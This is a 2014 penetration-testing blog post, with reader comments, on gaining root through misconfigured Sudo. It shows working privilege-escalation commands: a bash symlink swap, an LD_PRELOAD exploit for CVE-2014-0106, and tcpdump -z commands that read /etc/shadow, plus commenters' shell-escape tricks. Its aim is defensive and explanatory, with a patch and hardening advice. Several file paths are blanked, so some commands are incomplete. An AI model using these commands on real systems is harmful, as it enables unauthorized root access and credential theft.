How I got root with Sudo

March 17, 2014

By Sebastien Macke, @lanjelot


During security engagements, we regularly come across servers configured with the privilege management software Sudo. As with any software, the principle of least privilege must be closely followed, users must be granted the minimum possible privileges to perform necessary tasks or operations. Therefore to securely configure Sudo, user accounts must be restricted to a limited set of commands that they can legitimately execute with elevated privileges (usually those of the root account).

Out in the real world, we don’t often see Sudo configured according to the principle of least privilege. But when we do, we always uncover a mistake or two that allows us to escalate our privileges to root, at which point it’s game over. We win.

The purpose of this post is to present a series of examples of common mistakes and insecure configurations that we have seen and leveraged on production environments during security assessments and how you can make our team’s life that little bit harder.

Insecure File System Permissions

Consider the following Sudo configuration for our fictitious user account “appadmin”:

$ sudo -l
[sudo] password for appadmin:
User appadmin may run the following commands on this host:
    (root) /opt/Support/, (root) /opt/Support/, 
    (root) /opt/Support/, (root) /usr/sbin/lsof

It all looks good so far. So let’s have a look at these scripts:

$ ls -l /opt/Support/
total 4
-rwxr-xr-x 1 root     root     37 Oct  3 14:06
-rwxr-xr-x 1 appadmin appadmin 53 Oct  3 14:03
$ ls -ld /opt/Support
drwxr-xr-x 2 appadmin appadmin 4096 Oct  3 13:58 /opt/Support

Don’t these file and directory permissions look interesting? We have several options to escalate our privileges here, we could either:

  1. Create the non-existent file “”
  2. Modify the existing file “”
  3. Move the file “” and create another file with the same filename

Here is a demonstration of the third option:

$ mv /opt/Support/{,.bak}
$ ln -s /bin/bash /opt/Support/
$ sudo /opt/Support/
[sudo] password for appadmin:
# id
uid=0(root) gid=0(root) groups=0(root)

Game over! :)

Environment Variables

Consider the following Sudo configuration for our user account “monitor”:

$ sudo -l
[sudo] password for monitor:
Matching Defaults entries for monitor on this host:
User monitor may run the following commands on this host:
    (root) /etc/init.d/sshd

The env_reset option is disabled! This means we can manipulate the environment of the command we are allowed to run. Depending on the Sudo version, we may be able to escalate our privileges by passing environment variables, as illustrated by the following well-known exploits:

Also keep in mind that there may be other dangerous environment variables that we could misuse (think of PERL5OPT, PYTHONINSPECT etc.).

It should be noted though, that even when env_reset is disabled, most dangerous environment variables are now safely removed by Sudo, based on a default hard-coded blacklist. Run “sudo -V” as root to see this blacklist under “Environment variables to remove”.

However, in Sudo < 1.8.5, we found that environment variables passed in on the command line are not removed even though they should be. Thus we can still escalate our privileges using for example the LD_PRELOAD technique, as demonstrated below on a fully up-to-date Red Hat Enterprise Linux 5.10 system (only missing the recent security update of course):

$ rpm -q sudo
$ cat > xoxo.c <<'LUL'
#include <unistd.h>
#include <stdlib.h>

void _init()
 if (!geteuid()) {
   execl("/bin/sh","sh","-c","cp /bin/bash /tmp/.bash; chown 0:0 /tmp/.bash; /bin/chmod +xs /tmp/.bash",NULL);
$ gcc -o xoxo.o -c xoxo.c -fPIC
$ gcc -shared -Wl,-soname, -o /tmp/ xoxo.o -nostartfiles
$ sudo LD_PRELOAD=/tmp/ /etc/init.d/sshd blaaah
[sudo] password for monitor:
$ /tmp/.bash -p -c 'id;head -n 1 /etc/shadow'
uid=500(monitor) gid=500(monitor) euid=0(root) egid=0(root) groups=500(monitor)

The bug is located on line 685 of the file sudo-1.8.4p5/plugins/sudoers/env.c, where a boolean comparison is performed incorrectly. The following patch fixes this issue:

--- sudo-1.8.4p5/plugins/sudoers/env.c  2012-03-30 04:37:01.000000000 +1100
+++ sudo-1.8.4p5-fixed/plugins/sudoers/env.c    2014-02-28 10:36:14.623915000 +1100
@@ -682,7 +682,7 @@
                okvar = matches_env_keep(*ep);
        } else {
            okvar = matches_env_delete(*ep) == false;
-           if (okvar == false)
+           if (okvar == true)
                okvar = matches_env_check(*ep) != false;
        if (okvar == false) {

In Sudo 1.8.5, the affected code was actually changed and cleaned up which silently fixed the issue. As a result, in Sudo 1.8.5 and above, environment variables passed in on the command line are properly removed.

Note that RHEL 5.10 was vulnerable because it ships the 1.7.2p1 version (with every previous security patches applied) and similarly, RHEL 6.0 through 6.3 inclusive ship a version from the 1.7 branch. However RHEL 6.4 was not vulnerable because it ships the 1.8.6p3 version.

We responsibly disclosed this security issue to the vendor, and within a week, the vulnerability was assigned CVE-2014-0106, the details were made public and the 1.7.10p8 security fix was released. While security updates are being rolled out for the affected distributions, a simple workaround is to simply not disable env_reset, which is the default behaviour.

Escape to shell

Consider the following Sudo configuration for our user account “john”:

$ sudo -l
[sudo] password for john:
User john may run the following commands on this host:
    (root) /usr/sbin/tcpdump

In this case, john is able to capture network traffic. A perfectly legitimate task for a system administrator, so what could possibly go wrong? The “-z postrotate-command” option (introduced in tcpdump version 4.0.0), is worth knowing:

$ echo $'id\ncat /etc/shadow' > /tmp/.test
$ chmod +x /tmp/.test
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
[sudo] password for john:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
Maximum file limit reached: 1
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Note that “-Z root” is required on RedHat-based distributions (Fedora, CentOS, etc.) as they patch the tcpdump package to drop root privileges before handling savefiles.

So what can you do to protect yourself against Sudo abuse? Make sure you scrutinise every program that a user is allowed to run with elevated privileges as there may be ways for users to break out to a nice # prompt. For example, programs such as vi or less, that allow users to invoke arbitrary shell commands (with ! or similar), should be replaced with their more secure counterparts, rvim and cat respectively.

Keen to practice this? Have a go at the following challenge and find out how to pop a root shell. There are at least two ways that we could think of, but one is more intrusive than the other and will impact the system’s integrity. Leave a comment with your solution(s), we’ll publish ours and the most original submissions after a few weeks to not spoil the fun. The environment is just a standard CentOS 6.5 system, the zip package being the only post “default” install addition.

$ cat /usr/local/bin/
zip -U /root/ -O /var/lib/ "$@"
$ ls -ld /root/ /usr/local/bin/ /usr/local/bin/ /var/lib/ /var/lib/
ls: cannot access /root/ Permission denied
drwxr-xr-x.  2 root root 4096 Mar 12 17:02 /usr/local/bin/
-rwxr-xr-x.  1 root root   80 Mar 12 17:02 /usr/local/bin/
drwxr-xr-x. 15 root root 4096 Mar 12 17:02 /var/lib/
-rw-r--r--.  1 root root  964 Mar 12 17:02 /var/lib/
$ rpm -q zip
$ sudo -l
[sudo] password for kevin: 
Matching Defaults entries for kevin on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR

User kevin may run the following commands on this host:
    (root) /usr/local/bin/

Thanks for reading, now get your thinking caps on!

19 thoughts on “How I got root with Sudo

  1. Daniel Lohin

    Don’t forget MORE, LESS, VI, VIEW all allow the escape to shell. I have seen this a few times (and got bit by it in my young sysadmin days!).

  2. Jeff Andersen

    Not a security professional yet but I aim to be, so the following might not be accurate. Looks like I have write access to, so I could modify that file to launch a shell, then run as root.

    I also have write access to /var/lib and /usr/local/bin, so I could replace the zip binary with one that would do the same as above, given the proper arguments.

  3. recrudesce

    Write a C program that sets uid and gid to 0 then spawns an interactive bash shell.
    Put it in /tmp
    Name it “zip”
    chmod +x it
    Add /tmp to the start of the PATH variable
    Run the script

    1. securusblog Post author

      Did you test this? It should not work as Sudo won’t keep your $PATH, and will securely set it to “/sbin:/bin:/usr/sbin:/usr/bin” (secure_path option).

  4. catcradle5

    @Jeff Andersen The permissions are:

    -rwxr-xr-x. 1 root root 80 Mar 12 17:02 /usr/local/bin/

    This means only root can read, write, or execute the file. Every non-root user (the last 3 parts of the rwx listing) may only execute and read it, not write to it.

    @recrudesce I believe this is not possible because env_reset is enabled, and PATH is not in env_keep.

  5. bleckers

    Look into linux capabilities. You can for example allow users to run tcpdump without requiring sudo by setting the CAP_NET_RAW and CAP_NET_ADMIN flags on the tcpdump file.

    1. securusblog Post author

      Totally agree. Yet we do find tcpdump in the sudoers of production environments on a regular basis.

    1. securusblog Post author

      Thanks @TheColonial for this very nice tip!
      The –interactive option was actually removed in nmap 5.35DC1, yet fully up-to-date systems that bundle older versions of nmap would be vulnerable to this trick. Examples of which include RHEL 5.10 which ships nmap-4.11, and RHEL 6.0 through 6.3 which ship nmap-5.21. Only RHEL 6.4 and above ship nmap-5.51.

  6. T3

    Run the zipscript with some special arguments (command injection).
    sudo /usr/local/bin/ “; bash”

    1. securusblog Post author

      Did you test this? It should not work, the string “; bash” will simply become the first argument of the zip script, and then an additional argument to the zip command line.

  7. kitkat

    nice writeup dude, this might be useful with tweaking for finding writeable libraries called by setuid bins…

    find / -type f -perm /6000 -exec ls -1 {} \; 2> /dev/null | xargs -i ldd {} | perl -nle ‘s/.*?(\/.*?)(\s|\().*/$1/; if ( $1!~m/.*=.*/ ) { print $1; } ‘ | xargs -i ls -Ll {} | grep -iE ‘…..w.|……..w.’

    1. securusblog Post author

      Thanks James, yeah nice one. Any writeable library, called by a setuid program or not, should raise a red flag IMO. Furthermore, remember to check setuid bins for RPATH sections ;) (thx oracle). But we’re kind of getting out of the “sudo” topic here, and there’s so much to say about common tricks to privesc on *nix systems. Next post maybe :)

  8. SecurusBlog

    So far, 15 people have found the easy solution. We haven’t published their comments yet to not spoil others from having a go. Also, only 2 people have found working the intrusive solution, surprisingly…


Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>